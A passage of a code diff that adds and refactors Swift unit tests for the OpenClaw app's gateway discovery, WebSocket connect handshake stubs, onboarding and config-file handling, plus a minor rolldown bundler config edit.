"uptimeMs": 0
},
"policy": { "maxPayload": 1, "maxBufferedBytes": 1, "tickIntervalMs": 30000 }
}
}
"""
return Data(json.utf8)
}
}
private final class FakeWebSocketSession: WebSocketSessioning, @unchecked Sendable {

View File

@@ -0,0 +1,98 @@
import Foundation
import OpenClawDiscovery
import Testing
@testable import OpenClaw
@Suite
struct GatewayDiscoveryHelpersTests {
private func makeGateway(
serviceHost: String?,
servicePort: Int?,
lanHost: String? = "txt-host.local",
tailnetDns: String? = "txt-host.ts.net",
sshPort: Int = 22,
gatewayPort: Int? = 18789) -> GatewayDiscoveryModel.DiscoveredGateway
{
GatewayDiscoveryModel.DiscoveredGateway(
displayName: "Gateway",
serviceHost: serviceHost,
servicePort: servicePort,
lanHost: lanHost,
tailnetDns: tailnetDns,
sshPort: sshPort,
gatewayPort: gatewayPort,
cliPath: "/tmp/openclaw",
stableID: UUID().uuidString,
debugID: UUID().uuidString,
isLocal: false)
}
@Test func sshTargetUsesResolvedServiceHostOnly() {
let gateway = self.makeGateway(
serviceHost: "resolved.example.ts.net",
servicePort: 18789,
sshPort: 2201)
guard let target = GatewayDiscoveryHelpers.sshTarget(for: gateway) else {
Issue.record("expected ssh target")
return
}
let parsed = CommandResolver.parseSSHTarget(target)
#expect(parsed?.host == "resolved.example.ts.net")
#expect(parsed?.port == 2201)
}
@Test func sshTargetAllowsMissingResolvedServicePort() {
let gateway = self.makeGateway(
serviceHost: "resolved.example.ts.net",
servicePort: nil,
sshPort: 2201)
guard let target = GatewayDiscoveryHelpers.sshTarget(for: gateway) else {
Issue.record("expected ssh target")
return
}
let parsed = CommandResolver.parseSSHTarget(target)
#expect(parsed?.host == "resolved.example.ts.net")
#expect(parsed?.port == 2201)
}
@Test func sshTargetRejectsTxtOnlyGateways() {
let gateway = self.makeGateway(
serviceHost: nil,
servicePort: nil,
lanHost: "txt-only.local",
tailnetDns: "txt-only.ts.net",
sshPort: 2222)
#expect(GatewayDiscoveryHelpers.sshTarget(for: gateway) == nil)
}
@Test func directUrlUsesResolvedServiceEndpointOnly() {
let tlsGateway = self.makeGateway(
serviceHost: "resolved.example.ts.net",
servicePort: 443)
#expect(GatewayDiscoveryHelpers.directUrl(for: tlsGateway) == "wss://resolved.example.ts.net")
let wsGateway = self.makeGateway(
serviceHost: "resolved.example.ts.net",
servicePort: 18789)
#expect(GatewayDiscoveryHelpers.directUrl(for: wsGateway) == "wss://resolved.example.ts.net:18789")
let localGateway = self.makeGateway(
serviceHost: "127.0.0.1",
servicePort: 18789)
#expect(GatewayDiscoveryHelpers.directUrl(for: localGateway) == "ws://127.0.0.1:18789")
}
@Test func directUrlRejectsTxtOnlyFallback() {
let gateway = self.makeGateway(
serviceHost: nil,
servicePort: nil,
lanHost: "txt-only.local",
tailnetDns: "txt-only.ts.net",
gatewayPort: 22222)
#expect(GatewayDiscoveryHelpers.directUrl(for: gateway) == nil)
}
}

View File

@@ -225,7 +225,7 @@ import Testing
}
@Test func normalizeGatewayUrlRejectsNonLoopbackWs() {
let url = GatewayRemoteConfig.normalizeGatewayUrl("ws://gateway")
let url = GatewayRemoteConfig.normalizeGatewayUrl("ws://gateway.example:18789")
#expect(url == nil)
}

View File

@@ -39,12 +39,7 @@ struct GatewayProcessManagerTests {
}
if currentSendCount == 0 {
guard case let .data(data) = message else { return }
if let obj = try? JSONSerialization.jsonObject(with: data) as? [String: Any],
(obj["type"] as? String) == "req",
(obj["method"] as? String) == "connect",
let id = obj["id"] as? String
{
if let id = GatewayWebSocketTestSupport.connectRequestID(from: message) {
self.connectRequestID.withLock { $0 = id }
}
return
@@ -59,14 +54,14 @@ struct GatewayProcessManagerTests {
return
}
let response = Self.responseData(id: id)
let response = GatewayWebSocketTestSupport.okResponseData(id: id)
let handler = self.pendingReceiveHandler.withLock { $0 }
handler?(Result<URLSessionWebSocketTask.Message, Error>.success(.data(response)))
}
func receive() async throws -> URLSessionWebSocketTask.Message {
let id = self.connectRequestID.withLock { $0 } ?? "connect"
return .data(Self.connectOkData(id: id))
return .data(GatewayWebSocketTestSupport.connectOkData(id: id))
}
func receive(
@@ -75,41 +70,6 @@ struct GatewayProcessManagerTests {
self.pendingReceiveHandler.withLock { $0 = completionHandler }
}
private static func connectOkData(id: String) -> Data {
let json = """
{
"type": "res",
"id": "\(id)",
"ok": true,
"payload": {
"type": "hello-ok",
"protocol": 2,
"server": { "version": "test", "connId": "test" },
"features": { "methods": [], "events": [] },
"snapshot": {
"presence": [ { "ts": 1 } ],
"health": {},
"stateVersion": { "presence": 0, "health": 0 },
"uptimeMs": 0
},
"policy": { "maxPayload": 1, "maxBufferedBytes": 1, "tickIntervalMs": 30000 }
}
}
"""
return Data(json.utf8)
}
private static func responseData(id: String) -> Data {
let json = """
{
"type": "res",
"id": "\(id)",
"ok": true,
"payload": { "ok": true }
}
"""
return Data(json.utf8)
}
}
private final class FakeWebSocketSession: WebSocketSessioning, @unchecked Sendable {

View File

@@ -0,0 +1,63 @@
import OpenClawKit
import Foundation
extension WebSocketTasking {
// Keep unit-test doubles resilient to protocol additions.
func sendPing(pongReceiveHandler: @escaping @Sendable (Error?) -> Void) {
pongReceiveHandler(nil)
}
}
enum GatewayWebSocketTestSupport {
static func connectRequestID(from message: URLSessionWebSocketTask.Message) -> String? {
let data: Data? = switch message {
case let .data(d): d
case let .string(s): s.data(using: .utf8)
@unknown default: nil
}
guard let data else { return nil }
guard let obj = try? JSONSerialization.jsonObject(with: data) as? [String: Any] else {
return nil
}
guard (obj["type"] as? String) == "req", (obj["method"] as? String) == "connect" else {
return nil
}
return obj["id"] as? String
}
static func connectOkData(id: String) -> Data {
let json = """
{
"type": "res",
"id": "\(id)",
"ok": true,
"payload": {
"type": "hello-ok",
"protocol": 2,
"server": { "version": "test", "connId": "test" },
"features": { "methods": [], "events": [] },
"snapshot": {
"presence": [ { "ts": 1 } ],
"health": {},
"stateVersion": { "presence": 0, "health": 0 },
"uptimeMs": 0
},
"policy": { "maxPayload": 1, "maxBufferedBytes": 1, "tickIntervalMs": 30000 }
}
}
"""
return Data(json.utf8)
}
static func okResponseData(id: String) -> Data {
let json = """
{
"type": "res",
"id": "\(id)",
"ok": true,
"payload": { "ok": true }
}
"""
return Data(json.utf8)
}
}

View File

@@ -13,7 +13,8 @@ import Testing
configpath: nil,
statedir: nil,
sessiondefaults: nil,
authmode: nil)
authmode: nil,
updateavailable: nil)
let hello = HelloOk(
type: "hello",

View File

@@ -1,3 +1,4 @@
import Foundation
import OpenClawDiscovery
import SwiftUI
import Testing
@@ -25,4 +26,36 @@ struct OnboardingViewSmokeTests {
let order = OnboardingView.pageOrder(for: .local, showOnboardingChat: false)
#expect(!order.contains(8))
}
@Test func selectRemoteGatewayClearsStaleSshTargetWhenEndpointUnresolved() async {
let override = FileManager().temporaryDirectory
.appendingPathComponent("openclaw-config-\(UUID().uuidString)")
.appendingPathComponent("openclaw.json")
.path
await TestIsolation.withEnvValues(["OPENCLAW_CONFIG_PATH": override]) {
let state = AppState(preview: true)
state.remoteTransport = .ssh
state.remoteTarget = "user@old-host:2222"
let view = OnboardingView(
state: state,
permissionMonitor: PermissionMonitor.shared,
discoveryModel: GatewayDiscoveryModel(localDisplayName: InstanceIdentity.displayName))
let gateway = GatewayDiscoveryModel.DiscoveredGateway(
displayName: "Unresolved",
serviceHost: nil,
servicePort: nil,
lanHost: "txt-host.local",
tailnetDns: "txt-host.ts.net",
sshPort: 22,
gatewayPort: 18789,
cliPath: "/tmp/openclaw",
stableID: UUID().uuidString,
debugID: UUID().uuidString,
isLocal: false)
view.selectRemoteGateway(gateway)
#expect(state.remoteTarget.isEmpty)
}
}
}

View File

@@ -62,6 +62,31 @@ struct OpenClawConfigFileTests {
}
}
@MainActor
@Test
func clearRemoteGatewayUrlRemovesOnlyUrlField() async {
let override = FileManager().temporaryDirectory
.appendingPathComponent("openclaw-config-\(UUID().uuidString)")
.appendingPathComponent("openclaw.json")
.path
await TestIsolation.withEnvValues(["OPENCLAW_CONFIG_PATH": override]) {
OpenClawConfigFile.saveDict([
"gateway": [
"remote": [
"url": "wss://old-host:111",
"token": "tok",
],
],
])
OpenClawConfigFile.clearRemoteGatewayUrl()
let root = OpenClawConfigFile.loadDict()
let remote = ((root["gateway"] as? [String: Any])?["remote"] as? [String: Any]) ?? [:]
#expect((remote["url"] as? String) == nil)
#expect((remote["token"] as? String) == "tok")
}
}
@Test
func stateDirOverrideSetsConfigPath() async {
let dir = FileManager().temporaryDirectory

View File

@@ -1,7 +1,6 @@
import path from "node:path";
import { existsSync } from "node:fs";
import { fileURLToPath } from "node:url";
import { defineConfig } from "rolldown";
const here = path.dirname(fileURLToPath(import.meta.url));
const repoRoot = path.resolve(here, "../../../../..");
@@ -39,7 +38,7 @@ function resolveUiDependency(moduleId) {
);
}
export default defineConfig({
export default {
input: fromHere("bootstrap.js"),
experimental: {
attachDebugInfo: "none",
@@ -56,7 +55,7 @@ export default defineConfig({
"@lit-labs/signals/": resolveUiDependency("@lit-labs/signals/"),
lit: resolveUiDependency("lit"),
"lit/": resolveUiDependency("lit/"),
"signal-utils": resolveUiDependency("signal-utils"),
"signal-utils/": resolveUiDependency("signal-utils/"),
},
},
output: {
@@ -65,4 +64,4 @@ export default defineConfig({
codeSplitting: false,
sourcemap: false,
},
});
};

File diff suppressed because one or more lines are too long

After

Width:  |  Height:  |  Size: 9.8 KiB

Some files were not shown because too many files have changed in this diff Show More